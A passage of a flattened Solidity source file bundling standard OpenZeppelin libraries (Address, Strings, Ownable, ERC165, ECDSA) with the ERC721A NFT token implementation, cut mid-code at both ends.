) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File erc721a/contracts/[email protected]
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File @openzeppelin/contracts/access/[email protected]
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/cryptography/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
